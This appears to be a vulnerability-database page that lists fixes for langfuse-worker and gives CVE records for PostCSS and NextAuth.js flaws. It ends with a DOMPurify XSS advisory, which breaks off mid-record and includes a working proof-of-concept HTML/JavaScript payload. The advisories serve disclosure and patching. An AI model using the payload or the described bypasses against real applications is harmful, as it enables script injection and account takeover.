Vulnerability from cleanstart
Published
2026-09-01 11:17
Modified
2026-09-02 06:40
Summary
Security fixes in langfuse-worker 3.221.1-r2
Details
Package langfuse-worker version 3.221.1-r2 fixes 11 vulnerabilities: ghsa-55q2-fjhq-7xh7, ghsa-c2j3-45gr-mqc4, ghsa-7rqj-j65f-68wh, ghsa-xmf8-cvqr-rfgj, ghsa-x445-f3h2-j279...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "langfuse-worker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.221.1-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.221.1-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package langfuse-worker version 3.221.1-r2 fixes 11 vulnerabilities: ghsa-55q2-fjhq-7xh7, ghsa-c2j3-45gr-mqc4, ghsa-7rqj-j65f-68wh, ghsa-xmf8-cvqr-rfgj, ghsa-x445-f3h2-j279...",
"id": "CLEANSTART-2026-RY87844",
"modified": "2026-09-02T06:40:32Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langfuse/langfuse"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in langfuse-worker 3.221.1-r2",
"upstream": [
"ghsa-55q2-fjhq-7xh7",
"ghsa-c2j3-45gr-mqc4",
"ghsa-7rqj-j65f-68wh",
"ghsa-xmf8-cvqr-rfgj",
"ghsa-x445-f3h2-j279",
"CVE-2026-73419",
"CVE-2026-73418",
"CVE-2026-73420",
"ghsa-r28c-9q8g-f849",
"CVE-2026-69153",
"ghsa-p63j-vcc4-9vmv"
]
}
CVE-2026-69153 (GCVE-0-2026-69153)
Vulnerability from cvelistv5 – Published: 2026-08-03 16:56 – Updated: 2026-08-03 18:28
VLAI
EPSS
VEX
Title
PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-03 18:28 UTC
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/postcss/postcss/security/advis… | x_refsource_CONFIRM |
| https://github.com/postcss/postcss/commit/7beca13… | x_refsource_MISC |
| https://github.com/postcss/postcss/releases/tag/8.5.19 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-69153",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-03T18:28:28.771563Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T18:28:59.737Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "postcss",
"vendor": "postcss",
"versions": [
{
"status": "affected",
"version": "\u003c 8.5.19"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map\u2019s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T16:56:25.733Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
},
{
"name": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"name": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
}
],
"source": {
"advisory": "GHSA-fxqj-rqcc-2cmp",
"discovery": "UNKNOWN"
},
"title": "PostCSS: incomplete fix of CVE-2026-45623 \u2014 attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-69153",
"datePublished": "2026-08-03T16:56:25.733Z",
"dateReserved": "2026-08-03T15:47:09.654Z",
"dateUpdated": "2026-08-03T18:28:59.737Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-73418 (GCVE-0-2026-73418)
Vulnerability from cvelistv5 – Published: 2026-08-12 20:21 – Updated: 2026-08-13 12:53
VLAI
EPSS
VEX
Title
NextAuth.js: getToken() throws an uncaught exception on malformed Bearer authorization headers
Summary
NextAuth.js provides authentication for Next.js. Prior to @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, the exported getToken() helper in the next-auth/jwt and @auth/core/jwt modules can throw an uncaught exception when it reads a malformed Authorization: Bearer header. When no session cookie is present, getToken() URL-decodes the bearer value before validating it, and malformed percent encoding causes decodeURIComponent() to throw instead of treating the token as invalid. Because getToken() is commonly called in API routes, middleware, and server-side request handlers, a single unauthenticated request can trigger an unhandled exception in code paths that authenticate requests, causing a per-request denial of service without exposing tokens, sessions, or other data and without bypassing authentication. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-13 12:53 UTC
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/nextauthjs/next-auth/security/… | x_refsource_CONFIRM |
| https://github.com/nextauthjs/next-auth/pull/13469 | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/commit/5b… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/commit/e7… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| nextauthjs | next-auth |
Affected:
>= 4.0.6, <= 4.24.14
Affected: >= 5.0.0-beta.0, <= 5.0.0-beta.31 |
|
| @auth | core |
Affected:
>= 0.1.0, < 0.41.3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-73418",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-13T12:53:20.378207Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T12:53:44.683Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "next-auth",
"vendor": "nextauthjs",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.6, \u003c= 4.24.14"
},
{
"status": "affected",
"version": "\u003e= 5.0.0-beta.0, \u003c= 5.0.0-beta.31"
}
]
},
{
"product": "core",
"vendor": "@auth",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.1.0, \u003c 0.41.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NextAuth.js provides authentication for Next.js. Prior to @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, the exported getToken() helper in the next-auth/jwt and @auth/core/jwt modules can throw an uncaught exception when it reads a malformed Authorization: Bearer header. When no session cookie is present, getToken() URL-decodes the bearer value before validating it, and malformed percent encoding causes decodeURIComponent() to throw instead of treating the token as invalid. Because getToken() is commonly called in API routes, middleware, and server-side request handlers, a single unauthenticated request can trigger an unhandled exception in code paths that authenticate requests, causing a per-request denial of service without exposing tokens, sessions, or other data and without bypassing authentication. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20: Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-248",
"description": "CWE-248: Uncaught Exception",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T20:21:11.318Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-xmf8-cvqr-rfgj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-xmf8-cvqr-rfgj"
},
{
"name": "https://github.com/nextauthjs/next-auth/pull/13469",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/pull/13469"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/5bca2399a79ba8d116ca5179b4b1ebcd152e7f05",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/5bca2399a79ba8d116ca5179b4b1ebcd152e7f05"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/e707770f00c52b3479e43422b0200b059149ed53",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/e707770f00c52b3479e43422b0200b059149ed53"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/%40auth%2Fcore%400.41.3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/%40auth%2Fcore%400.41.3"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth%404.24.15",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth%404.24.15"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth%405.0.0-beta.32",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth%405.0.0-beta.32"
}
],
"source": {
"advisory": "GHSA-xmf8-cvqr-rfgj",
"discovery": "UNKNOWN"
},
"title": "NextAuth.js: getToken() throws an uncaught exception on malformed Bearer authorization headers"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-73418",
"datePublished": "2026-08-12T20:21:11.318Z",
"dateReserved": "2026-08-12T14:32:11.795Z",
"dateUpdated": "2026-08-13T12:53:44.683Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-73419 (GCVE-0-2026-73419)
Vulnerability from cvelistv5 – Published: 2026-08-12 20:23 – Updated: 2026-08-13 15:32
VLAI
EPSS
VEX
Title
NextAuth.js: OAuth state, nonce, and PKCE check cookies are not bound to the provider that created them
Summary
NextAuth.js provides authentication for Next.js. Prior to@auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, Auth.js stores the OAuth/OIDC anti-CSRF checks state, nonce, and the PKCE verifier in global cookies that are not bound to the provider that created them. On callback, a check value minted during a sign-in started with one provider can satisfy the callback for a different provider because the stored cookie is not verified against the callback provider's identity, including the provider ID, issuer, client ID, or redirect URI. In a multi-provider application that permits account linking while logged in, when one provider's authorization request is observable and a target provider callback can be satisfied without a PKCE verifier, an attacker can lure a victim into starting a legitimate same-origin flow and link the attacker's target-provider account to the victim's Auth.js user. The linked provider grants the attacker persistent sign-in to the victim's account, while cross-site request forgery alone is insufficient. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32.
Severity
6.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-13 15:32 UTC
CWE
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/nextauthjs/next-auth/security/… | x_refsource_CONFIRM |
| https://github.com/nextauthjs/next-auth/pull/13469 | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/commit/5b… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/commit/9f… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| nextauthjs | next-auth |
Affected:
< 4.24.15
Affected: >= 5.0.0-beta.4, < 5.0.0-beta.32 |
|
| @auth | core |
Affected:
< 0.41.3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-73419",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-13T15:32:05.776262Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T15:32:15.689Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "next-auth",
"vendor": "nextauthjs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.24.15"
},
{
"status": "affected",
"version": "\u003e= 5.0.0-beta.4, \u003c 5.0.0-beta.32"
}
]
},
{
"product": "core",
"vendor": "@auth",
"versions": [
{
"status": "affected",
"version": "\u003c 0.41.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NextAuth.js provides authentication for Next.js. Prior to@auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, Auth.js stores the OAuth/OIDC anti-CSRF checks state, nonce, and the PKCE verifier in global cookies that are not bound to the provider that created them. On callback, a check value minted during a sign-in started with one provider can satisfy the callback for a different provider because the stored cookie is not verified against the callback provider\u0027s identity, including the provider ID, issuer, client ID, or redirect URI. In a multi-provider application that permits account linking while logged in, when one provider\u0027s authorization request is observable and a target provider callback can be satisfied without a PKCE verifier, an attacker can lure a victim into starting a legitimate same-origin flow and link the attacker\u0027s target-provider account to the victim\u0027s Auth.js user. The linked provider grants the attacker persistent sign-in to the victim\u0027s account, while cross-site request forgery alone is insufficient. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-345",
"description": "CWE-345: Insufficient Verification of Data Authenticity",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-346",
"description": "CWE-346: Origin Validation Error",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-940",
"description": "CWE-940: Improper Verification of Source of a Communication Channel",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T20:23:39.174Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-x445-f3h2-j279",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-x445-f3h2-j279"
},
{
"name": "https://github.com/nextauthjs/next-auth/pull/13469",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/pull/13469"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/5bca2399a79ba8d116ca5179b4b1ebcd152e7f05",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/5bca2399a79ba8d116ca5179b4b1ebcd152e7f05"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/9f7a97fade9b1319bb9ac19fc9828d62e0a2a852",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/9f7a97fade9b1319bb9ac19fc9828d62e0a2a852"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32"
}
],
"source": {
"advisory": "GHSA-x445-f3h2-j279",
"discovery": "UNKNOWN"
},
"title": "NextAuth.js: OAuth state, nonce, and PKCE check cookies are not bound to the provider that created them"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-73419",
"datePublished": "2026-08-12T20:23:39.174Z",
"dateReserved": "2026-08-12T14:32:11.795Z",
"dateUpdated": "2026-08-13T15:32:15.689Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-73420 (GCVE-0-2026-73420)
Vulnerability from cvelistv5 – Published: 2026-08-13 22:04 – Updated: 2026-08-14 15:06
VLAI
EPSS
VEX
Title
NextAuth.js: Email normalizer validates the address before Unicode normalization, allowing a homoglyph @ bypass
Summary
NextAuth.js provides authentication for Next.js. Prior to @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, the defaultNormalizer used by the email and magic-link sign-in flow validates an address before applying Unicode normalization. An address can contain a Unicode character such as U+FF20 FULLWIDTH COMMERCIAL AT that is not ASCII at-sign but canonicalizes to an ASCII at-sign under NFKC or NFKD normalization. The address passes the normalizer's single-at-sign check, but a downstream sendVerificationRequest mail library or delivery service that normalizes the address can then see two at-sign separators and deliver the passwordless sign-in link to an attacker-controlled recipient. Applications are affected when the email provider uses the built-in normalizer rather than a custom normalizeIdentifier and the downstream sender applies Unicode normalization. An attacker who knows a victim's email address can request the misrouted magic link and sign in as the victim without victim interaction. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 15:05 UTC
CWE
- CWE-180 - Incorrect Behavior Order: Validate Before Canonicalize
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/nextauthjs/next-auth/security/… | x_refsource_CONFIRM |
| https://github.com/nextauthjs/next-auth/commit/19… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/commit/a6… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
| https://github.com/nextauthjs/next-auth/releases/… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| nextauthjs | next-auth |
Affected:
< 4.24.15
Affected: >= 5.0.0-beta.4, < 5.0.0-beta.32 |
|
| @auth | core |
Affected:
>= 0.1.0, < 0.41.3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-73420",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T15:05:10.354847Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:06:00.594Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "next-auth",
"vendor": "nextauthjs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.24.15"
},
{
"status": "affected",
"version": "\u003e= 5.0.0-beta.4, \u003c 5.0.0-beta.32"
}
]
},
{
"product": "core",
"vendor": "@auth",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.1.0, \u003c 0.41.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NextAuth.js provides authentication for Next.js. Prior to @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32, the defaultNormalizer used by the email and magic-link sign-in flow validates an address before applying Unicode normalization. An address can contain a Unicode character such as U+FF20 FULLWIDTH COMMERCIAL AT that is not ASCII at-sign but canonicalizes to an ASCII at-sign under NFKC or NFKD normalization. The address passes the normalizer\u0027s single-at-sign check, but a downstream sendVerificationRequest mail library or delivery service that normalizes the address can then see two at-sign separators and deliver the passwordless sign-in link to an attacker-controlled recipient. Applications are affected when the email provider uses the built-in normalizer rather than a custom normalizeIdentifier and the downstream sender applies Unicode normalization. An attacker who knows a victim\u0027s email address can request the misrouted magic link and sign in as the victim without victim interaction. This issue is fixed in @auth/core 0.41.3 and next-auth 4.24.15 and 5.0.0-beta.32."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-180",
"description": "CWE-180: Incorrect Behavior Order: Validate Before Canonicalize",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T22:04:15.414Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-7rqj-j65f-68wh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-7rqj-j65f-68wh"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/19d2feb24359fa8c79418907fc68d9ec8152ca94",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/19d2feb24359fa8c79418907fc68d9ec8152ca94"
},
{
"name": "https://github.com/nextauthjs/next-auth/commit/a63eee12a1a20cb35209e44195b097868517b9a0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/commit/a63eee12a1a20cb35209e44195b097868517b9a0"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15"
},
{
"name": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32"
}
],
"source": {
"advisory": "GHSA-7rqj-j65f-68wh",
"discovery": "UNKNOWN"
},
"title": "NextAuth.js: Email normalizer validates the address before Unicode normalization, allowing a homoglyph @ bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-73420",
"datePublished": "2026-08-13T22:04:15.414Z",
"dateReserved": "2026-08-12T14:32:11.795Z",
"dateUpdated": "2026-08-14T15:06:00.594Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-55Q2-FJHQ-7XH7
Vulnerability from github – Published: 2026-08-07 15:30 – Updated: 2026-08-07 15:30
VLAI
Summary
DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
Details
Summary
During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.
Details
In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).
The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.
The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.
PoC
Load the published dompurify@3.4.12 dist/purify.js before this script in Chromium:
<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
<footer>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
onload="result.textContent = 'XSS after sanitize'">
</footer>
<div>safe</div>`;
DOMPurify.setConfig({
ALLOWED_TAGS: ['div', '#text', 'footer'],
IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
if (node.tagName === 'FOOTER') node.remove();
});
DOMPurify.sanitize(root);
document.body.append(root);
</script>
sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.
As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.
Impact
In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.
The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.
Suggested fix
Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.12"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
